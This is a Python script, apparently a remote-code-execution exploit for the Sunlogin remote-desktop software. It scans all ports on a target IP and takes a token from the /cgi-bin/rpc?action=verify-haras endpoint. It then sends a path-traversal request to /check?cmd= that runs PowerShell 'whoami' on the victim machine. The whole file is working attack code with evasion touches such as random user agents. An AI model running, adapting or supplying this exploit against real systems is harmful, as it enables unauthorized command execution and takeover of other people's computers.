import json from datetime import datetime import socket import pyfiglet import requests from multiprocessing.dummy import Pool as ThreadPool from fake_useragent import UserAgent open_port = []
class ScanPort: def __init__(self, ip): # 初始化设置相关参数 self.ip = ip # 需要扫描的IP self.host = None
def scan(self, port): # 执行扫描操作 try: # 建立socket连接 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 地址簇,套接字类型 res = s.connect_ex((self.ip, port)) if res == 0: print('IP地址：{0}\tPort：{1}\t的状态是open'.format(self.ip, port)) open_port.append(port) except Exception as e: print(e) finally: s.close()
def setting(self): # 设置线程数和端口信息 port = [i for i in range(1, 65535)] # 所有的端口列表 # host = socket.gethostbyname(self.ip)#设置主机名 socket.setdefaulttimeout(0.5) # 设置超时 t1 = datetime.now() # 开始时间 pool = ThreadPool(processes=1000) pool.map(self.scan, port) pool.close() pool.join() print('[***] 端口扫描已完成，耗时：', datetime.now() - t1)
def poc(ip): for port in open_port: url = 'http://'+ip+':'+str(port)+'/cgi-bin/rpc?action=verify-haras' try: res=requests.get(url,verify=False,timeout=1).text if 'verify_string' in res: print('[***]端口：{0}存在漏洞\n[***]url为：{1}'.format(str(port),url)) rce('http://'+ip+':'+str(port)) exit(0) except Exception as e: pass def rce(url): ua = UserAgent().random#随机UA get_cid=json.loads(requests.get(url+'/cgi-bin/rpc?action=verify-haras', verify=False, timeout=1).text)['verify_string'] print(get_cid) headers={ "User-Agent": ua, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Cookie": "CID =" + get_cid } payload=url+'/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami' req = requests.get(payload, headers=headers, verify=False).text
print('[***]'+url+'存在漏洞\n'+req)
if __name__ == '__main__': print(pyfiglet.figlet_format('sunlogin_rce')) ip = input('[*]输入要扫描的IP地址：') print('[***]开始对端口进行扫描') ScanPort(ip).setting() poc(ip)
微信
